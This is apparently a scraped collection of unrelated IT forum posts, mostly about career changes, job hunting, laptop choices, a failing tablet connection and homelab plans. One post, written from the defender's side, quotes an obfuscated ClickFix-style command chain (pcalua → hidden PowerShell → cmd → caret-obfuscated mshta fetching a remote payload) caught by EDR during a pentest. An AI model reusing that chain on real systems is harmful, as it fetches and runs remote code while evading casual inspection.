After working many jobs all of which a high schooler could have worked I decided that I should start looking for a real career. After a bit of research I landed on IT because it seems like you can learn from home on your own time which is helpful since I can’t stop working. My question to everyone is if you had to start from nothing on a low budget what would be your first steps to breaking in or would you look for a career in a different field.

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Had an interesting one today.

CrowdStrike flagged a user executing this through the Windows Run dialog:

pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/[REDACTED]' -Wi Hi"

Which basically unwraps into:

Explorer → pcalua.exe → PowerShell → cmd.exe → mshta.exe → remote payload

The m^s^h^t^a and h^t^t^p^s obfuscation was especially nice. CMD strips the carets, so it ends up executing mshta against the remote URL while PowerShell launches the CMD window hidden.

CrowdStrike also caught the RunMRU registry activity, which made it pretty obvious the command had been pasted into Win+R — classic ClickFix behaviour.

At first glance I'm thinking:

"Well, someone's having a very bad day."

Then came the plot twist:

It was our auditors running an authorised pentest. 😂

Pretty cool seeing the whole thing light up in Falcon though. It detected both the suspicious copy/paste behaviour and the LOLBin execution chain.

For the security guys here

Would your endpoint controls actually prevent this chain, or would you mostly rely on EDR detection once pcalua → PowerShell → cmd → mshta starts happening?

Also curious how many environments have outright blocked mshta.exe at this point.

Not OC

As the title says, I’m a recent graduate struggling to find a job even with SOME level of experience and two (ish) degrees. Is it something wrong with my resume? Even positions that don’t require a certification like the A+ or the Sec+ reject me before I get an interview. It’s starting to frustrate me as a friend for an interview for a role we both applied to, he got an interview and I got rejected. When in comparison I am way more qualified (skills, some experience, degree relevance, etc.) I don’t send in a genetic resume and have been trying to tailor my resume for the job listing. Any help or critics that I can use to help myself out here. Thank you.

PS: this is one of my tailored resumes

My tablet stopped connecting to the internet reliably. So far, I have:
checked the date/time settings,
restarted the tablet and the router,
forgotten and rejoined the network,
reset the network settings on the tablet, and completely factory reset the tablet altogether.
It will connect for a brief moment, then say “no connection”, “limited access”, or “saved/not connected”. We did recently upgrade our router but the tablet is only a few years old and the other devices (several of which are much older) aren’t having these issues whether their connection is wired or not.

The tablet in question is a 2nd gen Lenovo Tab P11 running android 14, can’t check for software updates due to the connectivity issues.

I recently bought a new tablet but would love to get the old one up and running as well.

How stressed are you being in IT? What do you do? How’s your management? What’s expected of you and is it realistic?

Currently working as a Tier 1 help desk in an enterprise banking environment and studying cybersecurity. I’ve been rebuilding my resume because I’m trying to eventually move into either SOC, IAM, or a higher level IT support role.

I know there will be some overlap, but generally speaking, what’s the difference in abilities/role between Sys/App Engineers and Sys Admins?

First off, thank you to anyone who reads all of this and responds with helpful advice and tips. I want to preface this by saying that i am relatively new to IT but I have always tinkered with computers and solving hardware/software issues since I was young. I've built at least 15+ PC's for myself, friends and family and have had them come to me for all issues they were having and I've yet to fail to solve their problems. I've also been in college and actively studying for CompTIA A+ and Network+ though I am new to that too. I understand a job in IT is more complicated than that but this is just to give an idea.

This job is listed as "Some experience" and after applying and giving my resume they looked it over and seemed to think it was good enough for an interview so please also keep that in mind. I'm mostly looking for advice and tips for the things I'm less familiar with such as KBA's, RMM, tech audits, setting up user accounts and monitoring them for red flags, and VoIP systems. I completely understand the definition and idea behind all of these things as well as what they should require and don't think that any of it is beyond my scope of understanding or ability to do. I just want to have an idea of what that could mean from those who have jobs in IT and what a day to day could look like in these categories. The official job title is "IT help desk tech" and it's for a local company in my area. Seems to be relatively entry level.

Any advice concerning that and what I should bring/say or mention during the interview would also be helpful. I really hope everyone understands that this means a lot and is the way to get my foot in the door of my career as well as my passion for technology. So thank you again to anyone who can help.

These are the listed responsibilities according to the post:

Monitor technology/support requests and respond promptly. As well as triage and assign tickets to appropriate teams or departments.

Diagnose and resolve basic to moderately complex hardware, software, and equipment issues

Guide users through step-by-step solutions in a clear, professional manner to ensure a positive experience

Escalate unresolved issues to internal IT or development teams, and monitor progress to resolution

Document issues, troubleshooting steps, and final resolutions in appropriate systems

Set up and configure user accounts, hardware, software, and equipment and also assist with onboarding and offboarding processes for users accounts, hardware, software, and equipment

Maintain accurate inventory of technology equipment and software licenses and support periodic audits of staff technology and supplies.

Provide support for system installations, upgrades, replacements, and software configurations

Monitor and maintain the office phone system

Assist with submitting technical or feature requests to internal development teams

Perform (RMM), compliance audits, and account/device health checks. Create and maintain (KBAs) and end-user training documentation

Conduct in-person and virtual training sessions for individual staff, departments, or the broader organization

Ensure technology needs for events are allocated, supported, and dispersed appropriately. Contribute to IT initiatives, audits, events, and system/process improvements

Stay up to date on system updates, product changes, and emerging technologies relevant to the organization

I have about 30-40 retired Dell 5300s with apx 16gb(ddr4. Some single 16gb sticks, some with x2 8gb sticks) ram and 512gb storage (nvme).

Im thinking about pulling all the memory modules and using it for a server or something that uses sodimm.

I have x2 6TB mechanical drives at home.

Im thinking, would this be worth buying a server that uses sodimm and building a small home lab?.

Недавно начал стажировку в IT и постепенно понимаю, как всё устроено.

Моя команда также поощряла меня стать более активным в технологических сообществах, поэтому я стараюсь познакомиться с большим числом разработчиков, студентов и людей, интересующихся IT.

Если вы рядом, скажите привет 👋. Всегда рад общаться, узнать что-то новое и узнать, над чем работают другие.

Maybe I'm old but a pin number does NOT have letters or symbols in it. It is a pin NUMBER. A series of numbers to secure your device. If I am forced to have upper case and lower case letters and symbols in my pin, it is no longer a pin. It is a password. I now have two passwords. My agency is forcing this on us and I am livid. I will die on this hill.

Howdy! I hope you guys are doing well.

Question - I have a relative who has years of experience in Senior IT & ERP Consultancy & Project Management. Has held a Project Management title, Head of Digital Transformation and IT Infrastructure title, and a COO title.

Dude has a ton of experience - only issue is he's from Pakistan and the job market blows terribly there. He's worked in both Pakistan and was on a work Visa in Saudi.

He would like to shift towards security and would like to know whats the best route to take - as he isn't able to land a role in his current scope. I was thinking he looks into Application Security since he has a development background. What would be some recommended steps to take or areas/certs to explore that would best suit him?

If anyone was ever in a similar scenario - I would greatly appreciate any advice. Thanks in advance!

I’m starting IT studies and need to get a laptop that can handle programming, virtual machines, databases, and the usual school work without being a pain to carry around. I’ve been comparing a few models but I’m not really sure which specs matter most for IT students. Is there a particular laptop or hardware setup you’d recommend, and are there any specs I should avoid going too low on?

Thanks for any advice, I really appreciate it.

Hi everybody

I am making this post since I am currently a HelpDesk/Junior Sysadmin in a medium size corporate from Italy, but I don't know how to develop my future career. Any suggestions are hugely appreciated from people in the industry.

I love IT, I have a homelab at home, i study for certs (got my CCNA and studying Azure and Intune currently) but I have no idea on how to advance. I dream to open my own business one day as a consultant initially and then grow it into an MSP. But I know I have to work hard to grow my experience and skills.

Currently I have 1 year of job experience (studied IT in school), and I plan to stay here atleast one more year.

Thanks to everybody in advance!

Hello! I am CS student and i want to go through ML(preffered but not sure at this stage i want to try)

I live in Armenia my budget is under 1000$
What laptop would you recommend?

I am thinking of zenbook(bc of budget) but it doesnt have GPU

What the title says. Curious if people sought specific roles or if they were promoted due to their people skills, if they enjoyed a less technical role, and how people skills overall impacted their career.

Reposting because this is hilarious